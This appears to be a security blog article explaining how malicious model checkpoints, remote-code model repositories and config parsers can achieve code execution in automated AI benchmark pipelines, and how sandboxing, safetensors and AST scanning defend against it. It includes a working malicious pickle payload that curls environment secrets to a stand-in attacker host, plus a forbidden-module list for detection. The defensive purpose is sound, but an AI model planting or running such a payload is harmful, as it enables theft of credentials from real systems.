Exploiting Model Benchmarks: How Malicious Weights Enable Arbitrary Code Execution in AI Pipelines

The Hidden Attack Surface of Automated AI Evaluation

In the hyper-competitive landscape of open-weights AI, leaderboard placement dictates mindshare. Organizations and independent researchers constantly push new checkpoints to open hubs, trigger automated evaluation benchmarks, and showcase performance metrics. However, this seamless feedback loop hides a dangerous assumption: that model checkpoints, configurations, and tokenizers are inert data files.

Recent high-profile security incidents involving AI platform model evaluation services have exposed systemic flaws in how benchmarking pipelines process untrusted model repositories. When an evaluation engine automatically pulls and benchmarks a submitted model, it frequently executes untrusted code, parses serialized object graphs, and instantiates complex software pipelines with elevated network and computing permissions.

Understanding how model evaluation pipelines are exploited—and how to engineer resilient, zero-trust benchmarking environments—requires looking past high-level API abstractions down to binary deserialization primitives, custom model architectures, and isolation boundaries.

Deconstructing the Attack Vectors: From Model Files to RCE

Attacking an automated model evaluation framework does not typically require breaking complex cryptographic primitives. Instead, exploits leverage the design choices made during the early days of Python-centric deep learning frameworks, where convenience took precedence over memory safety and strict boundaries.

1. PyTorch Pickle Deserialization Vulnerabilities

Historically, PyTorch stored model weights using standard Python pickle files (typically .pt or .bin). The pickle format is not a static data format like JSON or Protocol Buffers; it is a stack-based virtual machine program that constructs Python object hierarchies.

When a model evaluation worker calls torch.load() on a traditional pickle-based checkpoint, it executes opcodes defined within the file header. An attacker can construct a malicious pickle file containing opcode sequences that instruct Python to import the os or subprocess module and invoke arbitrary system binaries during the unpickling phase.

import io
import os
import pickle
import torch

class MaliciousModelLoader:
    def __reduce__(self):
        # Instructs the unpickler to run shell commands upon invocation
        cmd = "curl http://attacker-c2.com/exfil?env=$(env | base64)"
        return (os.system, (cmd,))

# Constructing the payload inside a pseudo-PyTorch file
payload = MaliciousModelLoader()
buffer = io.BytesIO()
torch.save(payload, buffer)
# When torch.load(buffer) is executed by the benchmark engine, system() executes instantly

Even if the benchmark engine wraps execution in standard Python try-except blocks, __reduce__ triggers during initial binary parsing before any model evaluation logic begins.

2. The Danger of Dynamic Code Execution (trust_remote_code=True)

To support novel model architectures (such as specialized attention mechanisms, hybrid state-space models, or custom MoE routing logic), model hubs rely on dynamic dynamic code execution. Hugging Face's transformers library allows model authors to host custom Python files (modeling_xyz.py) directly within the model repository.

When an evaluation framework invokes AutoModelForCausalLM.from_pretrained(repo_id, trust_remote_code=True), the framework downloads the custom code from the target repository, writes it to a temporary directory, imports it as a dynamic Python module, and instantiates the classes defined inside config.json's auto_map field.

If an automated benchmarking engine sets trust_remote_code=True by default to ensure maximum model compatibility across thousands of submissions, it provides an open doorway for arbitrary code execution. An attacker simply registers a model repository containing benign-looking weights paired with a malicious modeling.py file that executes exfiltration logic during __init__() or .forward() calls.

3. Exploiting Tokenizers and Configuration File Parsers

Even when binary weights are sanitized and remote code loading is disabled, attack vectors remain within auxiliary pipeline components:

• Fast Tokenizer Deserialization: Modern tokenizers leverage compiled Rust bindings (tokenizers library) or complex C++ backends. Integer overflows or heap corruptions in custom tokenizer configuration parsers (tokenizer.json) can be triggered when long or malformed vocabulary files are loaded.
• Custom Code Snippets in Configuration Metadata: Certain evaluation frameworks parse config.json to extract execution flags, hyperparameters, or post-processing strings. If the benchmark engine uses unsafe dynamic evaluation methods such as eval() or exec() on configuration parameters, simple string manipulation can lead to immediate host takeover.

Architecting a Zero-Trust Model Evaluation Sandbox

To safely process untrusted model repositories, platform engineers must build evaluation pipelines under a strict zero-trust model: treat all weights, configs, tokenizers, and custom code as untrusted payloads designed to breach host boundaries.

Step 1: Enforce Pure-Data Formats with Safetensors

The first line of defense is completely stripping the evaluation engine of standard pickle parsing capability. Models must be converted or validated to ensure they exclusively use safetensors.

Safetensors is a modern, memory-efficient format designed specifically to store tensor arrays without execution semantics. The header is a restricted JSON block describing tensor dimensions and byte offsets, followed by raw binary buffers. It contains no executable bytecode, no object references, and no deserialization hooks.

from safetensors.torch import load_file

def safe_weight_loader(file_path: str):
    # Guaranteed to be pure data arrays—no Python code execution possible
    tensors = load_file(file_path)
    return tensors

Any submission containing raw .bin, .pt, or .pkl files should either be rejected instantly or converted in an isolated, disposable pre-processing worker before touching the primary evaluation infrastructure.

Step 2: MicroVM and Container Isolation Architecture

Standard Docker or OCI containers share the host kernel. A kernel vulnerability combined with root execution inside a container can lead to a host compromise. Automated evaluation workers should instead execute within isolated microVMs, such as AWS Firecracker or gVisor sandbox runtimes.

[ Untrusted Model Repository ]
              │
              ▼
[ Ingress Validation Service ] (Static Analysis, AST Scanning)
              │
              ▼
[ Ephemeral MicroVM Sandbox ] (Firecracker / gVisor)
   ├── Minimal Linux Kernel
   ├── Ephemeral Storage (Read-Only Root Filesystem)
   ├── Isolated GPU Instance via PCIe Passthrough
   └── Egress Network Policy (Strict Proxy Isolation)

Key sandbox architectural controls:

1. Ephemeral Root File System: The root filesystem should be mounted as read-only. Evaluation outputs (metrics, logs) are written to an isolated, temporary memory mount (tmpfs).
2. eBPF-Based Egress Filtering: Evaluation workers rarely require unrestricted internet access. Use eBPF filters (such as Cilium or custom BPF hooks) to block all outgoing TCP/UDP traffic except to verified internal object stores or local proxy mirrors.
3. Strict Resource Constraints: Enforce tight cgroup limits on memory, swap, CPU utilization, and process forks (pids.max) to prevent denial-of-service attacks aimed at hanging the evaluation cluster.

Step 3: AST Analysis for Dynamic Code Repositories

If the benchmarking engine must evaluate novel model architectures that require custom code (trust_remote_code=True), the code must undergo automated Abstract Syntax Tree (AST) static analysis prior to execution.

import ast

FORBIDDEN_MODULES = {"os", "subprocess", "socket", "sys", "requests", "urllib", "ctypes"}
FORBIDDEN_FUNCTIONS = {"eval", "exec", "__import__", "compile", "open"}

class SecurityASTVisitor(ast.NodeVisitor):
    def visit_Import(self, node):
        for alias in node.names:
            if alias.name.split(".")[0] in FORBIDDEN_MODULES:
                raise SecurityError(f"Forbidden import detected: {alias.name}")
        self.generic_visit(node)

    def visit_Call(self, node):
        if isinstance(node.func, ast.Name) and node.func.id in FORBIDDEN_FUNCTIONS:
            raise SecurityError(f"Forbidden function call: {node.func.id}")
        self.generic_visit(node)

def verify_custom_model_code(source_code: str):
    tree = ast.parse(source_code)
    visitor = SecurityASTVisitor()
    visitor.visit(tree)

Static analysis is not a bulletproof solution on its own—attackers can use complex obfuscation or reflection—but when paired with strict runtime sandboxing, it acts as a highly effective early filtering layer.

Moving Toward Standardized Model Security

As open AI systems scale in complexity, model evaluation systems become critical infrastructure. Treating model artifacts as unverified binary execution vectors is no longer acceptable. By combining safe weight formats like Safetensors, strict AST validation, microVM kernel isolation, and aggressive network egress filtering, engineering teams can build high-throughput automated evaluation platforms that stay resilient against even sophisticated target exploits.